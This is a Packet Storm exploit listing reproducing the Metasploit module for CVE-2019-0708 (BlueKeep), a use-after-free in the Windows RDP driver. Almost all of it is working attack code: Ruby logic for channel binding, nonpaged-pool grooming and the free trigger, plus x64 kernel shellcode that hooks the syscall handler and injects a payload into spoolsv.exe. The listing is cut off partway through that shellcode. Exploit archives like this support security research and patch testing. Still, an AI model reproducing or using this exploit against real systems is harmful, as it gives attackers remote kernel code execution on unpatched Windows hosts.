Lucene search
K

BlueKeep RDP Remote Windows Kernel Use-After-Free

🗓️ 23 Sep 2019 00:00:00Reported by OJ ReevesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 2182 Views

BlueKeep RDP Remote Windows Kernel Use-After-Free vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Use After Free in Microsoft
15 May 201919:53
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 May 201907:47
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
21 May 201906:57
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
12 Jun 201903:37
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
19 May 201923:32
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 May 201918:37
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
7 Sep 201908:35
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
19 Jun 202121:55
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
27 May 201912:52
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 Jul 201903:15
githubexploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# Exploitation and Caveats from zerosum0x0:  
#  
# 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.  
# 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)  
# 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.  
# 4. RDP has chunked messages, so we use this to groom.  
# a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.  
# b. However, on 7+, MS_T120 will not work and you have to use RDPSND.  
# i. RDPSND only works when  
# HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0  
# ii. This registry key is not a default setting for server 2008 R2.  
# We should use alternate groom channels or at least detect the  
# channel in advance.  
# 5. Use chunked grooming to fit new data in the freed channel, account for  
# the allocation header size (like 0x38 I think?). At offset 0x100? is where  
# the "call [rax]" gadget will get its pointer from.  
# a. The NonPagedPool (NPP) starts at a fixed address on XP-7  
# i. Hot-swap memory is another problem because, with certain VMWare and  
# Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP  
# start. This can be anywhere from 100 mb to gigabytes of offset  
# before the NPP start.  
# b. Set offset 0x100 to NPPStart+SizeOfGroomInMB  
# c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need  
# [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an  
# indirect call  
# d. We are limited to 0x400 payloads by channel chunk max size. My  
# current shellcode is a twin shellcode with eggfinders. I spam the  
# kernel payload and user payload, and if user payload is called first it  
# will egghunt for the kernel payload.  
# 6. After channel hole is filled and the NPP is spammed up with shellcode,  
# trigger the free by closing the socket.  
#  
# TODO:  
# * Detect OS specifics / obtain memory leak to determine NPP start address.  
# * Write the XP/2003 portions grooming MS_T120.  
# * Detect if RDPSND grooming is working or not?  
# * Expand channels besides RDPSND/MS_T120 for grooming.  
# See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/  
#  
# https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming  
# MS_T120 on XP... should be same process as the RDPSND  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ManualRanking  
  
USERMODE_EGG = 0xb00dac0fefe31337  
KERNELMODE_EGG = 0xb00dac0fefe42069  
  
CHUNK_SIZE = 0x400  
HEADER_SIZE = 0x48  
  
include Msf::Exploit::Remote::RDP  
include Msf::Exploit::Remote::CheckScanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',  
'Description' => %q(  
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,  
allowing a malformed Disconnect Provider Indication message to cause use-after-free.  
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of  
the freed channel is used to achieve arbitrary code execution.  
),  
'Author' =>  
[  
'Sean Dillon <[email protected]>', # @zerosum0x0 - Original exploit  
'Ryan Hanson', # @ryHanson - Original exploit  
'OJ Reeves <[email protected]>', # @TheColonial - Metasploit module  
'Brent Cook <[email protected]>', # @busterbcook - Assembly whisperer  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-0708'],  
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'WfsDelay' => 5,  
'RDP_CLIENT_NAME' => 'ethdev',  
'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => CHUNK_SIZE - HEADER_SIZE,  
'EncoderType' => Msf::Encoder::Type::Raw,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Automatic targeting via fingerprinting',  
{  
'Arch' => [ARCH_X64],  
'FingerprintOnly' => true  
},  
],  
#  
#  
# Windows 2008 R2 requires the following registry change from default:  
#  
# [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]  
# "fDisableCam"=dword:00000000  
#  
[  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8003800000,  
'GROOMSIZE' => 100  
}  
],  
[  
# This works with Virtualbox 6  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8002407000  
}  
],  
[  
# This address works on VMWare 14  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8030c00000  
}  
],  
[  
# This address works on VMWare 15  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8018C00000  
}  
],  
[  
# This address works on VMWare 15.1  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8018c08000  
}  
],  
[  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8102407000  
}  
],  
[  
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'GROOMBASE' => 0xfffffa8018c08000  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 14 2019',  
'Notes' =>  
{  
'AKA' => ['Bluekeep']  
}  
))  
  
register_advanced_options(  
[  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),  
OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),  
OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),  
]  
)  
end  
  
def exploit  
unless check == CheckCode::Vulnerable || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
if target['FingerprintOnly']  
fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')  
end  
  
begin  
rdp_connect  
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError  
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')  
end  
  
is_rdp, server_selected_proto = rdp_check_protocol  
unless is_rdp  
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')  
end  
  
# We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us  
# from exploiting the target.  
if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)  
fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')  
end  
  
chans = [  
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],  
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
]  
  
@mst120_chan_id = 1004 + chans.length - 1  
  
unless rdp_negotiate_security(chans, server_selected_proto)  
fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')  
end  
  
rdp_establish_session  
  
rdp_dispatch_loop  
end  
  
private  
  
# This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is  
# received on a channel, and this is when we need to kick off our exploit.  
def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)  
# We have to do the default behaviour first.  
super(pkt, user, chan_id, flags, data)  
  
groom_size = datastore['GROOMSIZE']  
pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)  
groom_chan_count = datastore['GROOMCHANNELCOUNT']  
  
payloads = create_payloads(pool_addr)  
  
print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")  
  
target_channel_id = chan_id + 1  
  
spray_buffer = create_exploit_channel_buffer(pool_addr)  
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)  
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80  
  
print_status("Surfing channels ...")  
rdp_send(spray_channel * 1024)  
rdp_send(free_trigger)  
  
chan_surf_size = 0x421  
spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min  
chan_surf_packet = spray_channel * spray_packets  
chan_surf_count = chan_surf_size / spray_packets  
  
chan_surf_count.times do  
rdp_send(chan_surf_packet)  
end  
  
print_status("Lobbing eggs ...")  
  
groom_mb = groom_size * 1024 / payloads.length  
  
groom_mb.times do  
tpkts = ''  
for c in 0..groom_chan_count  
payloads.each do |p|  
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)  
end  
end  
rdp_send(tpkts)  
end  
  
# Terminating and disconnecting forces the USE  
print_status("Forcing the USE of FREE'd object ...")  
rdp_terminate  
rdp_disconnect  
end  
  
# Helper function to create the kernel mode payload and the usermode payload with  
# the egg hunter prefix.  
def create_payloads(pool_address)  
begin  
[kernel_mode_payload, user_mode_payload].map { |p|  
[  
pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg  
p  
].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")  
}  
rescue => ex  
print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")  
end  
end  
  
def assemble_with_fixups(asm)  
# Rewrite all instructions of form 'lea reg, [rel label]' as relative  
# offsets for the instruction pointer, since metasm's 'ModRM' parser does  
# not grok that syntax.  
lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/  
asm.gsub!(lea_rel) do |match|  
match = "lea #{$1}, [rip + #{$2}]"  
end  
  
# metasm encodes all rep instructions as repnz  
# https://github.com/jjyg/metasm/pull/40  
asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')  
  
encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded  
  
# Fixup above rewritten instructions with the relative label offsets  
encoded.reloc.each do |offset, reloc|  
target = reloc.target.to_s  
if encoded.export.key?(target)  
# Note: this assumes the address we're fixing up is at the end of the  
# instruction. This holds for 'lea' but if there are other fixups  
# later, this might need to change to account for specific instruction  
# encodings  
if reloc.type == :i32  
instr_offset = offset + 4  
elsif reloc.type == :i16  
instr_offset = offset + 2  
end  
encoded.fixup(target => encoded.export[target] - instr_offset)  
else  
raise "Unknown symbol '#{target}' while resolving relative offsets"  
end  
end  
encoded.fill  
encoded.data  
end  
  
# The user mode payload has two parts. The first is an egg hunter that searches for  
# the kernel mode payload. The second part is the actual payload that's invoked in  
# user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel  
# and user mode payloads around the heap in different packets because we don't have  
# enough space to put them both in the same chunk. Given that code exec can result in  
# landing on the user land payload, the egg is used to go to a kernel payload.  
def user_mode_payload  
  
asm = %Q^  
_start:  
lea rcx, [rel _start]  
mov r8, 0x#{KERNELMODE_EGG.to_s(16)}  
_egg_loop:  
sub rcx, 0x#{CHUNK_SIZE.to_s(16)}  
sub rax, 0x#{CHUNK_SIZE.to_s(16)}  
mov rdx, [rcx - 8]  
cmp rdx, r8  
jnz _egg_loop  
jmp rcx  
^  
egg_loop = assemble_with_fixups(asm)  
  
# The USERMODE_EGG is required at the start as well, because the exploit code  
# assumes the tag is there, and jumps over it to find the shellcode.  
[  
USERMODE_EGG,  
egg_loop,  
USERMODE_EGG,  
payload.raw  
].pack('<Qa*<Qa*')  
end  
  
def kernel_mode_payload  
  
# Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya  
#  
# This shellcode was written originally for eternalblue exploits  
# eternalblue_exploit7.py and eternalblue_exploit8.py  
#  
# Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)  
#  
# Note:  
# - The userland shellcode is run in a new thread of system process.  
# If userland shellcode causes any exception, the system process get killed.  
# - On idle target with multiple core processors, the hijacked system call  
# might take a while (> 5 minutes) to get called because the system  
# call may be called on other processors.  
# - The shellcode does not allocate shadow stack if possible for minimal shellcode size.  
# This is ok because some Windows functions do not require a shadow stack.  
# - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.  
# Note: the Windows 8 version macros are removed below  
# - The userland payload MUST be appened to this shellcode.  
#  
# References:  
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)  
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c  
  
data_kapc_offset = 0x10  
data_nt_kernel_addr_offset = 0x8  
data_origin_syscall_offset = 0  
data_peb_addr_offset = -0x10  
data_queueing_kapc_offset = -0x8  
hal_heap_storage = 0xffffffffffd04100  
  
# These hashes are not the same as the ones used by the  
# Block API so they have to be hard-coded.  
createthread_hash = 0x835e515e  
keinitializeapc_hash = 0x6d195cc4  
keinsertqueueapc_hash = 0xafcc4634  
psgetcurrentprocess_hash = 0xdbf47c78  
psgetprocessid_hash = 0x170114e1  
psgetprocessimagefilename_hash = 0x77645f3f  
psgetprocesspeb_hash = 0xb818b848  
psgetthreadteb_hash = 0xcef84c3e  
spoolsv_exe_hash = 0x3ee083d8  
zwallocatevirtualmemory_hash = 0x576e99ea  
  
asm = %Q^  
shellcode_start:  
nop  
nop  
nop  
nop  
; IRQL is DISPATCH_LEVEL when got code execution  
  
push rbp  
  
call set_rbp_data_address_fn  
  
; read current syscall  
mov ecx, 0xc0000082  
rdmsr  
; do NOT replace saved original syscall address with hook syscall  
lea r9, [rel syscall_hook]  
cmp eax, r9d  
je _setup_syscall_hook_done  
  
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize  
cmp dword [rbp+#{data_origin_syscall_offset}], eax  
je _hook_syscall  
  
; save original syscall  
mov dword [rbp+#{data_origin_syscall_offset}+4], edx  
mov dword [rbp+#{data_origin_syscall_offset}], eax  
  
; first time on the target  
mov byte [rbp+#{data_queueing_kapc_offset}], 0  
  
_hook_syscall:  
; set a new syscall on running processor  
; setting MSR 0xc0000082 affects only running processor  
xchg r9, rax  
push rax  
pop rdx ; mov rdx, rax  
shr rdx, 32  
wrmsr  
  
_setup_syscall_hook_done:  
pop rbp  
  
;--------------------- HACK crappy thread cleanup --------------------  
; This code is effectively the same as the epilogue of the function that calls  
; the vulnerable function in the kernel, with a tweak or two.  
  
; TODO: make the lock not suck!!  
mov rax, qword [gs:0x188]  
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++  
lea r11, [rsp+0b8h]  
xor eax, eax  
mov rbx, [r11+30h]  
mov rbp, [r11+40h]  
mov rsi, [r11+48h]  
mov rsp, r11  
pop r15  
pop r14  
pop r13  
pop r12  
pop rdi  
ret  
  
;--------------------- END HACK crappy thread cleanup  
  
;========================================================================  
; Find memory address in HAL heap for using as data area  
; Return: rbp = data address  
;========================================================================  
set_rbp_data_address_fn:  
; On idle target without user application, syscall on hijacked processor might not be called immediately.  
; Find some address to store the data, the data in this address MUST not be modified  
; when exploit is rerun before syscall is called  
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]  
  
; ------ HACK rbp wasnt valid!  
  
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??  
  
; --------- HACK end rbp  
  
_set_rbp_data_address_fn_next:  
;shr rbp, 12  
;shl rbp, 12  
;sub rbp, 0x70 ; for KAPC struct too  
ret  
  
;int 3  
;call $+5  
;pop r13  
syscall_hook:  
swapgs  
mov qword [gs:0x10], rsp  
mov rsp, qword [gs:0x1a8]  
push 0x2b  
push qword [gs:0x10]  
  
push rax ; want this stack space to store original syscall addr  
; save rax first to make this function continue to real syscall  
push rax  
push rbp ; save rbp here because rbp is special register for accessing this shellcode data  
call set_rbp_data_address_fn  
mov rax, [rbp+#{data_origin_syscall_offset}]  
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler  
mov [rsp+0x10], rax  
  
; save all volatile registers  
push rcx  
push rdx  
push r8  
push r9  
push r10  
push r11  
  
; use lock cmpxchg for queueing APC only one at a time  
xor eax, eax  
mov dl, 1  
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl  
jnz _syscall_hook_done  
  
;======================================  
; restore syscall  
;======================================  
; an error after restoring syscall should never occur  
mov ecx, 0xc0000082  
mov eax, [rbp+#{data_origin_syscall_offset}]  
mov edx, [rbp+#{data_origin_syscall_offset}+4]  
wrmsr  
  
; allow interrupts while executing shellcode  
sti  
call r3_to_r0_start  
cli  
  
_syscall_hook_done:  
pop r11  
pop r10  
pop r9  
pop r8  
pop rdx  
pop rcx  
pop rbp  
pop rax  
ret  
  
r3_to_r0_start:  
; save used non-volatile registers  
push r15  
push r14  
push rdi  
push rsi  
push rbx  
push rax ; align stack by 0x10  
  
;======================================  
; find nt kernel address  
;======================================  
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel  
shr r15, 0xc ; strip to page size  
shl r15, 0xc  
  
_x64_find_nt_walk_page:  
sub r15, 0x1000 ; walk along page size  
cmp word [r15], 0x5a4d ; 'MZ' header  
jne _x64_find_nt_walk_page  
  
; save nt address for using in KernelApcRoutine  
mov [rbp+#{data_nt_kernel_addr_offset}], r15  
  
;======================================  
; get current EPROCESS and ETHREAD  
;======================================  
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR  
mov edi, #{psgetcurrentprocess_hash}  
call win_api_direct  
xchg rcx, rax ; rcx = EPROCESS  
  
; r15 : nt kernel address  
; r14 : ETHREAD  
; rcx : EPROCESS  
  
;======================================  
; find offset of EPROCESS.ImageFilename  
;======================================  
mov edi, #{psgetprocessimagefilename_hash}  
call get_proc_addr  
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)  
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename  
  
  
;======================================  
; find offset of EPROCESS.ThreadListHead  
;======================================  
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)  
; if offset of ImageFilename is more than 0x400, current is (Win8+)  
  
cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename  
jb _find_eprocess_threadlist_offset_win7  
add eax, 0x10  
_find_eprocess_threadlist_offset_win7:  
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead  
  
;======================================  
; find offset of ETHREAD.ThreadListEntry  
;======================================  
  
lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead  
mov r9, r8  
  
; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700  
_find_ethread_threadlist_offset_loop:  
mov r9, qword [r9]  
  
cmp r8, r9 ; check end of list  
je _insert_queue_apc_done ; not found !!!  
  
; if (r9 - r14 < 0x700) found  
mov rax, r9  
sub rax, r14  
cmp rax, 0x700  
ja _find_ethread_threadlist_offset_loop  
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)  
  
  
;======================================  
; find offset of EPROCESS.ActiveProcessLinks  
;======================================  
mov edi, #{psgetprocessid_hash}  
call get_proc_addr  
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)  
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)  
  
  
;======================================  
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock  
;======================================  
; check process name  
  
  
xor eax, eax ; HACK to exit earlier if process not found  
  
_find_target_process_loop:  
lea rsi, [rcx+rbx]  
  
push rax  
call calc_hash  
cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe"  
pop rax  
jz found_target_process  
  
;---------- HACK PROCESS NOT FOUND start -----------  
inc rax  
cmp rax, 0x300 ; HACK not found!  
jne _next_find_target_process  
xor ecx, ecx  
; clear queueing kapc flag, allow other hijacked system call to run shellcode  
mov byte [rbp+#{data_queueing_kapc_offset}], cl  
  
jmp _r3_to_r0_done  
  
;---------- HACK PROCESS NOT FOUND end -----------  
  
_next_find_target_process:  
; next process  
mov rcx, [rcx+rdi]  
sub rcx, rdi  
jmp _find_target_process_loop  
  
  
found_target_process:  
; The allocation for userland payload will be in KernelApcRoutine.  
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()  
  
;======================================  
; save process PEB for finding CreateThread address in kernel KAPC routine  
;======================================  
mov edi, #{psgetprocesspeb_hash}  
; rcx is EPROCESS. no need to set it.  
call win_api_direct  
mov [rbp+#{data_peb_addr_offset}], rax  
  
  
;======================================  
; iterate ThreadList until KeInsertQueueApc() success  
;======================================  
; r15 = nt  
; r14 = -(offset of ETHREAD.ThreadListEntry)  
; rcx = EPROCESS  
; edx = offset of EPROCESS.ThreadListHead  
  
  
lea rsi, [rcx + rdx] ; rsi = ThreadListHead address  
mov rbx, rsi ; use rbx for iterating thread  
  
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.  
; Moreover, alertable thread need to be waiting state which is more difficult to check.  
; try queueing APC then check KAPC member is more reliable.  
  
_insert_queue_apc_loop:  
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front  
mov rbx, [rbx+8]  
  
cmp rsi, rbx  
je _insert_queue_apc_loop ; skip list head  
  
; find start of ETHREAD address  
; set it to rdx to be used for KeInitializeApc() argument too  
lea rdx, [rbx + r14] ; ETHREAD  
  
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.  
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.  
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.  
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.  
; Teb member is next to Queue member.  
mov edi, #{psgetthreadteb_hash}  
call get_proc_addr  
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)  
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL  
je _insert_queue_apc_loop  
  
; KeInitializeApc(PKAPC,  
; PKTHREAD,  
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),  
; PKKERNEL_ROUTINE = kernel_apc_routine,  
; PKRUNDOWN_ROUTINE = NULL,  
; PKNORMAL_ROUTINE = userland_shellcode,  
; KPROCESSOR_MODE = UserMode (1),  
; PVOID Context);  
lea rcx, [rbp+#{data_kapc_offset}] ; PAKC  
xor r8, r8 ; OriginalApcEnvironment  
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine  
push rbp ; context  
push 1 ; UserMode  
push rbp ; userland shellcode (MUST NOT be NULL)  
push r8 ; NULL  
sub rsp, 0x20 ; shadow stack  
mov edi, #{keinitializeapc_hash}  
call win_api_direct  
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later  
  
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);  
; SystemArgument1 is second argument in usermode code (rdx)  
; SystemArgument2 is third argument in usermode code (r8)  
lea rcx, [rbp+#{data_kapc_offset}]  
;xor edx, edx ; no need to set it here  
;xor r8, r8 ; no need to set it here  
xor r9, r9  
mov edi, #{keinsertqueueapc_hash}  
call win_api_direct  
add rsp, 0x40  
; if insertion failed, try next thread  
test eax, eax  
jz _insert_queue_apc_loop  
  
mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry  
; EPROCESS pointer 8 bytes  
; InProgressFlags 1 byte  
; KernelApcPending 1 byte  
; if success, UserApcPending MUST be 1  
cmp byte [rax+0x1a], 1  
je _insert_queue_apc_done  
  
; manual remove list without lock  
mov [rax], rax  
mov [rax+8], rax  
jmp _insert_queue_apc_loop  
  
_insert_queue_apc_done:  
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.  
  
_r3_to_r0_done:  
pop rax  
pop rbx  
pop rsi  
pop rdi  
pop r14  
pop r15  
ret  
  
;========================================================================  
; Call function in specific module  
;  
; All function arguments are passed as calling normal function with extra register arguments  
; Extra Arguments: r15 = module pointer  
; edi = hash of target function name  
;========================================================================  
win_api_direct:  
call get_proc_addr  
jmp rax  
  
  
;========================================================================  
; Get function address in specific module  
;  
; Arguments: r15 = module pointer  
; edi = hash of target function name  
; Return: eax = offset  
;========================================================================  
get_proc_addr:  
; Save registers  
push rbx  
push rcx  
push rsi ; for using calc_hash  
  
; use rax to find EAT  
mov eax, dword [r15+60] ; Get PE header e_lfanew  
mov eax, dword [r15+rax+136] ; Get export tables RVA  
  
add rax, r15  
push rax ; save EAT  
  
mov ecx, dword [rax+24] ; NumberOfFunctions  
mov ebx, dword [rax+32] ; FunctionNames  
add rbx, r15  
  
_get_proc_addr_get_next_func:  
; When we reach the start of the EAT (we search backwards), we hang or crash  
dec ecx ; decrement NumberOfFunctions  
mov esi, dword [rbx+rcx*4] ; Get rva of next module name  
add rsi, r15 ; Add the modules base address  
  
call calc_hash  
  
cmp eax, edi ; Compare the hashes  
jnz _get_proc_addr_get_next_func ; try the next function  
  
_get_proc_addr_finish:  
pop rax ; restore EAT  
mov ebx, dword [rax+36]  
add rbx, r15 ; ordinate table virtual address  
mov cx, word [rbx+rcx*2] ; desired functions ordinal  
mov ebx, dword [rax+28] ; Get the function addresses table rva  
add rbx, r15 ; Add the modules base address  
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA  
add rax, r15 ; Add the modules base address to get the functions actual VA  
  
pop rsi  
pop rcx  
pop rbx  
ret  
  
;========================================================================  
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.  
;  
; Argument: rsi = string to hash  
; Clobber: rsi  
; Return: eax = hash  
;========================================================================  
calc_hash:  
push rdx  
xor eax, eax  
cdq  
_calc_hash_loop:  
lodsb ; Read in the next byte of the ASCII string  
ror edx, 13 ; Rotate right our hash value  
add edx, eax ; Add the next byte of the string  
test eax, eax ; Stop when found NULL  
jne _calc_hash_loop  
xchg edx, eax  
pop rdx  
ret  
  
  
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.  
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().  
; Moreover, there is no lock when calling KernelApcRoutine.  
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.  
;  
; VOID KernelApcRoutine(  
; IN PKAPC Apc,  
; IN PKNORMAL_ROUTINE *NormalRoutine,  
; IN PVOID *NormalContext,  
; IN PVOID *SystemArgument1,  
; IN PVOID *SystemArgument2)  
